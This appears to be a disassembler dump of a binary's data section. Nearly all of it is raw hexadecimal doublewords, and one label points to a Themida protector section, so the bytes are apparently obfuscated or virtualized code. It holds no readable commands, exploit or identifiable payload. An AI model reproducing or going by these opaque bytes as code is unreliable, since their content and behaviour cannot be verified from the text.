		dd 4244481h, 1Dh, 8AC35646h, 0C55C7E3Ah, 0B82F18F2h, 11E800h
		dd 2B460000h, 0D50C45A0h, 4D9E8818h, 8C22C15Eh,	0BFA6B6FAh
		dd 61C5ECB0h, 0B99D8B5Bh, 8306A80Fh, 0B50105C0h, 6A80AFDh
		dd 52505090h, 310FD98Bh, 585AD98Bh, 0D8B70F90h,	6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 22632EC3h, 6AD37626h, 68D0F00h, 8B000000h, 0A81A819Dh
		dd 4195FF06h, 6A06A825h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0F29FC355h,	3F6E595Ah
		dd 8D8D5978h, 6AB8C7Fh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0C2C35747h, 9CDD2FA3h, 49069375h, 987BF66h
		dd 0FFCFEB81h, 0D1FF4E65h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0B2C35545h, 23E2E81Fh, 8300F380h, 0A8339DBDh
		dd 850F0106h, 0BCh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 9FC35545h, 30526748h,	0E86448D6h, 12h
		dd 4DCE8AB3h, 6A68400Eh, 5C0F3021h, 29BDBEE4h, 0BB66CD9Dh
		dd 665B4911h, 6A5CBCBFh, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 3A0AE4B8h, 5D1912FEh
		dd 1CD78166h, 5250501Eh, 11E8h,	0B7E23400h, 0C661414Eh
		dd 99221C35h, 3233E3FFh, 5F567630h, 0F310F5Bh, 283h, 5A5B5600h
		dd 24048958h, 0CE8h, 0BAC4EC00h, 58BADE26h, 322FD27Eh
		dd 0DA8B6674h, 2D9D295Fh, 0FF06A806h, 0A81E1D95h, 0F9BF0F06h
		dd 0DF8E9h, 0E800h, 815D0000h, 0ACCBE9EDh, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 851D88ADh, 0D3801100h, 919D03C0h, 6006A82Ah,	0E91AB866h
		dd 14819D8Bh, 8D6106A8h, 0AB7E2E85h, 8D9D8B06h,	5006A802h
		dd 4896FB3h, 0C9BD2324h, 8906A801h, 0A81DF99Dh,	35FF6406h
		dd 0
		db 66h,	81h, 0EFh
aDi		db 'Í>d‰%',0            ; DATA XREF: Themida_:005662DEo
		align 4
		dd 85FFF88Ah, 6A833F1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 16C35141h, 0BBFF6A75h, 515F1F87h, 2071B5FFh
		dd 5E806A8h, 73000000h,	14B8E316h, 1011BD89h, 0FF5F06A8h
		dd 0A82A7D95h, 11AE906h, 8D890000h, 6A80CA9h, 0BD8900B0h
		dd 6A813E9h, 0BD8B70E6h, 6A807C9h, 0BD8B71E4h, 6A82B91h
		dd 830F613Ch, 0F4h, 0FDBBF0Fh, 0BB66C8B6h, 6BADEDAh, 66000000h
		dd 0DAF6D381h, 8B66C18Bh, 4E8C1DAh, 3029BD8Bh, 0F76606A8h
		dd 66E781E2h, 2B5B6E5Bh, 38C0FC8h, 0F000000h, 0D18BD9BFh
		dd 11E9h, 0FA8CA00h, 8F7E3FC4h,	6E87006Bh, 7EAD9B1Dh, 0B70FBBEDh
		dd 9EE9D9h, 8B660000h, 1858BFBh, 89000000h, 0A8303DB5h
		dd 7C08306h, 0C083F98Bh, 18D8900h, 3B06A828h, 1D830FD0h
		dd 0E9000000h, 10h, 44AD1982h, 0D7C37E2Bh, 3438351Ah, 8A0AD42Eh
		dd 5FE9h, 0F9BF0F00h, 0FFFF8D8Bh, 0FE8FFFFh, 0BC000000h
		dd 51A077CCh, 909A6B59h, 0D6BBD405h, 8D01ACB1h,	6A81101h
		dd 1E1835Bh, 32840Fh, 880F0000h, 11h, 5E8h, 1E231900h
		dd 9D8BBEA0h, 6A80E81h,	0FFA5835Bh, 0FEFFFFFFh,	0F533BB66h
		dd 19589h, 25BB0000h, 0E95BC9E1h, 0
		dd 420EB58Dh, 6A06ACh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0BA5A5DC3h, 521991Ch, 9D89592Bh
		dd 6A83181h, 8B006AF5h,	0A806C99Dh, 0EFBF6606h,	3195FF01h
		dd 6A06A81Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0B219C350h, 0F7FB9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0F1E60084h, 0BF663725h, 8B661068h, 0FCE183F9h, 2B18501h
		dd 9D8B06A8h, 6A82AF9h,	50006AFCh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 9D8B3A19h, 6A80CBDh, 0B589C02Bh
		dd 6A82DD9h, 0BAh, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 11A0B9Ch, 0DD9D2351h
		dd 5B06A81Fh, 12860Fh, 66600000h, 7E8FB8Bh, 49000000h
		dd 6FEC608h, 615E11CEh,	0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 6C35040h
		dd 8D89F59Dh, 6A80E45h,	880Dh, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0D1C59572h
		dd 401E43B6h, 0CF812458h, 3C28672h, 27B1BD09h, 958B06A8h
		dd 6A805B9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0DAC35343h, 0E86C47ADh,	7, 50B68C3Eh, 89C38319h
		dd 0A82FB9BDh, 81665B06h, 8B7DF6DFh, 0A814698Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 450A9198h, 0DAB70FEEh, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 85895818h, 6A814DDh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 8CC35343h, 8F8F63Fh, 5328282Fh
		dd 5BFABF0Fh, 91BD83F8h, 6A80Ch, 25840Fh, 9D8B0000h, 6A80C45h
		dd 0B8h, 8D8DF500h, 6A84FAFh, 341D9D8Bh, 0E1FF06A8h, 1B2D9D8Bh
		dd 26BB06A8h, 832587D2h, 0A80BBDBDh, 840F0006h,	48Eh, 58F0Fh
		dd 6EBB0000h, 832A6148h, 0A80BBDBDh, 840F0106h,	491h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D1C35242h, 0D3811219h
		dd 219D56C8h, 0D17892BBh, 0BDBD8374h, 306A80Bh,	425860Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 5EC911C3h, 8B136E25h, 0A81A999Dh,	8D016006h
		dd 6A81761h, 80D98C66h,	6A04E1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 0FC3D4C3h, 68Ch, 35B58900h
		dd 0A06A81Bh, 54840FC9h, 8B000001h, 0A80BE185h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 34D84799h, 0FCF17F8Eh, 899529A4h, 3306A81Fh,	0A81D5D85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 3A33CB7Dh, 0F87FBFEDh, 870AEF81h, 0F88A3F41h
		dd 48D0F50h, 66000000h,	893EE6BBh, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 4DA063C3h
		dd 9D8B006Ah, 6A81F35h,	8C0Fh, 0D2680000h, 0E8FE7D1Ch
		dd 10h,	0CBEE4F4Ah, 0DB5D7F4Ah,	0E5AC9F5h, 0FF44F157h
		dd 132DBF66h, 2404815Bh, 1A1E72Dh, 1B95BD31h, 95FF06A8h
		dd 6A80741h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	0EEC35242h, 0F88B1892h,	895AEB80h, 0A828A995h
		dd 27858906h, 6A06ABA2h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 16CDC350h, 9E375955h
		dd 0EBE63A62h, 14E8h, 0B26E100h, 77C40754h, 0D943E788h
		dd 111A3B97h, 0EF32E06Ah, 8C0FD8h, 5F000000h, 204E9h, 9D896000h
		dd 6A820E5h, 19858589h,	8B6106A8h, 0ABA21F85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 21DDF07h, 7E9h, 98C63A00h, 0A1A8FCD5h, 1800C7h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 5B51B8C3h, 0A223B58Bh, 6A06ABh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0C3600AC3h, 3D9D89h
		dd 858B06A8h, 6A82B7Dh,	14FD8589h, 68906A8h, 0CE98D89h
		dd 858B06A8h, 6A80BE1h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0B8C35343h, 8EBF660Ch, 44689A8h, 1E880Fh
		dd 13E80000h, 87000000h, 1830D41Ch, 8213DFDDh, 4D264B51h
		dd 82B6FEF6h, 8166EAD6h, 5BE6E2D7h, 0FB8B6650h,	0FF243489h
		dd 0ABA21FB5h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 50452C70h, 3F0868FEh
		dd 9D23DF92h, 6A80FC1h,	3B868768h, 14E986h, 81430000h
		dd 0ADD949A5h, 2CF9004h, 1298BDE7h, 0ED3F4923h,	48168B2h
		dd 0E37D7824h, 83C7BB79h, 858D6D2Dh, 6ABA227h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 1FC35545h, 9F0013C5h
		dd 1A332BA7h, 0DE999h, 958F0000h, 2C52CF0h, 5FB33035h
		dd 90BE9E5Bh, 7E9h, 209A1B00h, 55B151C8h, 8E850h, 5D240000h
		dd 4784D022h, 905B3A1Dh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0CFC35747h, 0FF558855h, 0A8074195h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 8B2DE595h, 0FE9F8h, 0FF130000h, 54D520BDh, 41CF2579h
		dd 1207C290h, 880F6108h, 15h, 10E9h, 0C9A2AF00h, 11D1A6C9h
		dd 0AB51A57h, 0E9CEAE81h, 0BD85C732h, 306A80Bh,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0B7D1C355h, 7E9FBh, 0C2240000h, 18DDD3h
		dd 27BD832Ah, 6ABA2h, 19840Fh, 0B5890000h, 6A80579h, 29E9h
		dd 9D016000h, 6A819F5h,	0D9C7E681h, 506107BCh, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 0ADB7C08Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B0C35646h
		dd 33D792A7h, 0DB3AE906h, 0E18501D8h, 8306A829h, 0A80BBDBDh
		dd 850F0306h, 490h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0F9C35141h, 24D6E781h, 0BD830B72h, 6ABA227h
		dd 61840F00h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0BFB1C355h,	0A71D6213h
		dd 0BD8B1EB9h, 6A81101h, 0A227B5FFh, 6A06ABh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F9E493C3h
		dd 15F995FFh, 10E906A8h, 0B0000000h, 433F3F8Bh,	6309A631h
		dd 0AB9EBE27h, 8B8C212Eh, 0ABA21BB5h, 2DBB6606h, 71B5890Dh
		dd 0C706A817h
		dd 1000106h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 968BD9BFh, 8E0F2CD9h, 5, 0B1EE06BBh
		dd 0D59D314Fh, 9606A81Bh, 4860Fh, 0BB660000h, 0F502C5Eh
		dd 1889h, 13E900h, 0FD370000h, 22AC3641h, 0B1337849h, 2C6962E7h
		dd 37F50ACh, 0BD019698h, 6A80969h, 0A227B5FFh, 666006ABh
		dd 8D89D18Bh, 6A81491h,	9995FF61h, 6A06A821h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0BA4CC351h, 0CA17B91Eh, 0C5B7C351h, 14E8h, 0E2EF9C00h
		dd 58A74630h, 5ACE4165h, 7207624Dh, 5CA36923h, 5850F38h
		dd 0BB000000h, 32CC9BB3h, 1BB58B5Fh, 0E806ABA2h, 0Ah, 0E7AA5693h
		dd 7B7A9895h, 8D89AF67h, 6A82DD5h, 41858B5Bh, 8B06A80Eh
		dd 0A82769BDh, 0C4868906h, 6A000000h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 3BE0C350h
		dd 0BD8B9EADh, 6A81665h, 5B9958Bh, 6A06A8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BF661FC3h
		dd 0C283E179h, 68D0F04h, 89000000h, 0A8021D95h,	20508906h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0E3C35141h
		dd 216A046h, 858DE8B7h,	6ABB7CEh, 0C5DBD8Bh, 868906A8h
		dd 0B8h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	14C35343h, 362F96F9h, 8DD03B2h,	89F9B70Fh, 0A81E6195h
		dd 599D8B06h, 6A06A81Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0CFA88A3Dh, 0DA8BC28Ah
		dd 0A227B5FFh, 6A06ABh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 9F3F2BC3h, 60DF3CECh, 81FDBA66h
		dd 6860Fh, 0B5290000h, 6A80085h, 51E38161h, 0FF37630Eh
		dd 0A81E1D95h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 9094953Bh, 3489503Fh
		dd 27B5FF24h, 8B06ABA2h, 0A806459Dh, 6995FF06h,	8106A82Ah
		dd 96AFFBF3h, 3DBD8352h, 6A82Eh, 47840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 1F3091C3h, 6650A446h, 3489DA8Bh, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 8B66DC47h
		dd 27B5FFFEh, 8106ABA2h, 0EB8D8CF7h, 8595FF37h,	6A06A831h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 481DC350h, 0FE8h,	0B5B91C00h, 13FA1377h
		dd 65CBCFCFh, 54D9AE12h, 901B589h, 0FF5F06A8h, 0ABA227B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 9D8B686Ah, 6A81471h, 0F8DB509h, 95FF06A8h
		dd 6A80F55h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	8BC35646h, 0FB5EE79Dh, 1F81B531h, 0BD8306A8h, 6A8077Dh
		dd 67840F02h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 7F09C350h, 8171ECC2h
		dd 0F78166CBh, 0BB66C1D8h, 0C3810A0Ah, 5306A254h, 0D19858Bh
		dd 6A06A8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 8ADAA4C3h, 2A7E60EFh, 66CE5F80h, 2389C381h
		dd 660000C6h, 85C7DF8Bh, 6A80DC1h, 0
		dd 2B318531h, 5E906A8h,	94000000h, 0C0A2848Dh, 0FFF2D0E9h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 4659C27Ah, 878A624Eh, 8B6674D8h,	23C18BD8h
		dd 0A80E8D9Dh, 85858D06h, 6A06A833h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0E5CCC353h
		dd 504EABFEh, 4895B57h,	53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 3F25694Dh, 0BD01D8A9h
		dd 6A81F41h, 5360006Ah,	8B5E6160h, 0A80E4D8Dh, 6A6106h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9FC35646h
		dd 8155B484h, 0F3FC94D3h, 0F595296Dh, 8D06A832h, 0ACDBE785h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 89279CA7h, 0A81465BDh, 5C08306h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 37C35343h, 0EAEA7A71h
		dd 0BBEAB57Ah, 0ABC78166h, 2BF5082h, 89483302h,	6A2404h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 19C2BAC3h, 0FE9h, 0D3DCBA00h, 8CCAE837h, 0D94EDFE2h
		dd 5DF728B4h, 6AD98B66h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 7E73C832h, 0A224BF66h
		dd 26299D33h, 6A06A8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0D2C35545h, 87CD064Fh, 19471055h, 9B99D8Bh
		dd 95FF06A8h, 6A82541h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 32C35545h, 7513681Fh,	0E53E9D20h, 5E9h
		dd 9DADE800h, 8D8DCEA9h, 6AB8C7Fh, 169D9531h, 0D1FF06A8h
		dd 0BD83FB8Bh, 6A8339Dh, 41850F01h, 9000000h, 0A80609BDh
		dd 81026A06h, 0EAEE8DE7h, 8B665048h, 240489FAh,	0F8FFBF0Fh
		dd 1E1D95FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0C781FCC3h, 51FF8853h, 0D48E9h
		dd 0E800h, 815D0000h, 0ACDBF1EDh, 55B50906h, 6A06A80Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8980C356h, 0A805658Dh, 1BD8906h, 0F06A826h
		dd 858DF9BFh, 6AB7E2Eh,	870F90h, 50000000h, 7E9h, 0C5F57F00h
		dd 0B8969871h, 56006A90h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0D9B789FAh, 35FF64h, 89000000h
		dd 0A82AE98Dh, 0BF605206h, 3EE5E400h, 0F258D01h, 5B6106A8h
		dd 258964h, 9000000h, 0A80C25BDh, 0F185FF06h, 6A06A833h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0B24C353h, 0FF6AFE22h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 45C35040h, 0FF7488Fh, 14E9D9B7h
		dd 0AA000000h, 0AA7EE086h, 3F6C85Fh, 0F994FC41h, 0CFACD916h
		dd 0FF054BEEh, 0A801B1B5h, 3D958906h, 0FF06A81Bh, 0A82A7D95h
		dd 12BE906h, 860F0000h,	6, 8FD8529h, 9D2906A8h,	6A82145h
		dd 9D3300B0h, 6A81681h,	9D8B70E6h, 6A81FB5h, 9D0971E4h
		dd 6A82ABDh, 830F613Ch,	0F9h, 5ADDE381h, 0B60F61A3h, 800F60C8h
		dd 6, 0E31F681h, 0BD016125h, 6A80B91h, 6BA61h, 8D890000h
		dd 6A80929h, 0C1F5C18Bh, 0BD2904E8h, 6A81009h, 52E2F766h
		dd 5FDA8B66h, 800FC82Bh, 5, 0A6DD73BFh,	66D18B50h, 8BD72FBFh
		dd 0A3E9F9h, 0BD890000h, 6A80079h, 4858Bh, 85010000h, 6A80DCDh
		dd 5307C083h, 0C0835Bh,	0AE9h, 4A3E2800h, 605CAB74h, 3B1CF025h
		dd 30830FD0h, 0F000000h, 6AE9FBB7h, 0E8000000h,	0Eh, 18989307h
		dd 143080B5h, 9C6AD33h,	8E81B43h, 0C0000000h, 0BE2F6E49h
		dd 0FCF6F56h, 84h, 8B5F5F00h, 0FFFFFF8Dh, 558D89FFh, 8306A82Ah
		dd 840F01E1h, 2Dh, 0FFFFA583h, 0E8FEFFFFh, 0Eh,	3F9A28E1h
		dd 20F059F4h, 2398544Eh, 8D31DFCFh, 6A81C2Dh, 495895Bh
		dd 0F9000000h, 0E9h, 8DB58D00h,	6606AC51h, 6AF88Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0CAC35646h, 8BB10F3Bh
		dd 0E8C1412Eh, 7, 0C6C8CF36h, 8B8E2FBEh, 95FF5FD9h, 6A81B31h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0C1C35040h
		dd 26523554h, 34D59D8Bh, 2B906A8h, 0F00000Fh, 0E183FAB7h
		dd 14E9FCh, 14980000h, 31F11A9Bh, 0C31C2404h, 3629E42Dh
		dd 3E7D74C4h, 8BFC1A45h, 0A816919Dh, 0B806h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 3CD04AC3h, 0D22B5C43h, 0DE8h, 0FA1E5D00h, 0E4226970h
		dd 8A783A34h, 10E97785h, 76000000h, 6A45D1Eh, 0A08F2D84h
		dd 0BB4C8AF9h, 5FD6E0AEh, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0FDCD780h, 880DFEB7h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0B415C350h
		dd 0ED8F9044h, 68F0FC2h, 2B000000h, 0A81A8D9Dh,	0ED9D8B06h
		dd 8B06A82Fh, 0A805B995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0F807AE7h
		dd 14698D8Bh, 0BD0306A8h, 6A80AA5h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 8311E5C3h, 800F513Bh
		dd 6, 830Fh, 0B5F0000h,	0A805C19Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0CE4A5836h
		dd 0E5FA750Dh, 9D8B04DCh, 6A82CC5h, 0C91BD83h, 0F0006A8h
		dd 4A84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 1585891Eh, 0B806A821h, 0
		dd 0C8D0Fh, 8B0F0000h, 6, 0F51BD89h, 8D8D06A8h,	6A84FAFh
		dd 0EF59D33h, 0E1FF06A8h, 83F98B66h, 0A80BBDBDh, 840F0006h
		dd 42Fh, 0BBDBD83h, 0F0106A8h, 43D84h, 83D88B00h, 0A80BBDBDh
		dd 860F0306h, 3F8h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 39C35646h, 0E88A7D68h, 6A605AA7h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 45D1C352h, 8BAAC363h, 0A80795BDh, 0D98C6606h, 171FCF81h
		dd 0E1800833h, 57006A04h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 10B52832h, 840FC90Ah
		dd 11Bh, 0EE960h, 39920000h, 3BC80AE2h,	548529F5h, 320148E9h
		dd 61D9B70Fh, 0BE1858Bh, 8B6606A8h, 5D8533FBh, 6A06A81Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0D5E2C351h, 8D94B09Eh, 90C0A284h,	6650DA8Ah
		dd 6A90D98Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 310EC352h, 719D318Bh, 8B06A82Bh
		dd 0A82A91BDh, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0ED95C355h,	8665F7A0h
		dd 1B1368E9h, 0DE8767Ah, 0F8000000h, 1DB2E0EAh,	63486B77h
		dd 0AA1FA414h, 5FFA8A51h, 2434815Bh, 766518ECh,	74195FFh
		dd 0BD3306A8h, 6A82535h, 0A2278589h, 6A06ABh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 636F7AC3h
		dd 0FE876ADh, 12000000h, 6D08766Dh, 0E5EC96A4h,	8926BFDEh
		dd 9501883Dh, 6A82F61h,	1B4E95Bh, 81660000h, 8BF2BBF7h
		dd 0ABA21F85h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0B98452F3h, 1800C78Dh
		dd 0F000000h, 88Eh, 2880F00h, 60000000h, 13F38061h, 0A223B58Bh
		dd 0BD8B06ABh, 6A829D9h, 2B7D858Bh, 0DE806A8h, 88000000h
		dd 92654B8Eh, 90A1689Dh, 0E411EC62h, 499D01h, 895B06A8h
		dd 0A82F85BDh, 6A068906h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 4F15C350h, 490C1983h
		dd 0F98B4CB2h, 0BE1858Bh, 6A06A8h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0FCBB8AC3h, 0CCB6BF66h
		dd 6A044689h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 46DFC356h, 2BA31E64h, 503B352Fh
		dd 0CE8h, 0E7A1D00h, 0E98B0AB7h, 1701A7B5h, 880FE2h, 5B000000h
		dd 89243489h, 0A801A98Dh, 1FB5FF06h, 6A06ABA2h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0DB2AC351h, 1176C428h, 0BDFBF0Fh, 0A80625BDh, 0B0BB6606h
		dd 857F6852h, 6DBB3C6Fh, 8170D1D7h, 86802434h, 0BD893C70h
		dd 6A833D5h, 0A227858Dh, 6A06ABh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 5D7B88C3h, 3CA8D13Fh
		dd 800F50FBh, 5, 0CA817FBFh, 24048950h,	0E9DF8166h, 4195FF74h
		dd 5706A807h, 14E9h, 10CCC700h,	9436F974h, 0A5C996BBh
		dd 0AD206501h, 0A83A8465h, 8B615B5Fh, 0A800659Dh, 0BD85C706h
		dd 306A80Bh, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 7E3DC351h, 83F802FDh
		dd 0ABA227BDh, 840F0006h, 74h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0BDC35141h,	0CF358B96h, 499509D1h
		dd 8106A82Bh, 34C169E3h, 5DE91Bh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E8610BC3h
		dd 0FBB8444h, 1587h, 10E900h, 0C3200000h, 10385111h, 0B83FAE20h
		dd 0F375FC30h, 0DF81C46Bh, 1DF8D31Fh, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0E59BC355h, 42267693h, 0C5F9057Fh, 31A19D89h, 8BB06A8h
		dd 834DCFBCh, 0A80BBDBDh, 850F0306h, 3FAh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E5C35646h, 0EB294377h
		dd 602798D8h, 0EFD68166h, 0BF0F6089h, 0E98166DBh, 61619EF2h
		dd 0A227BD83h, 0F0006ABh, 3B984h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0FF044ED0h
		dd 0ABA227B5h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 69C4B1FEh, 20CB81F9h
		dd 0FF1F5A8Ch, 0A815F995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0E8327B87h
		dd 0D59978FFh, 735BD89h, 0BF6606A8h, 0B58B17C9h, 6ABA21Bh
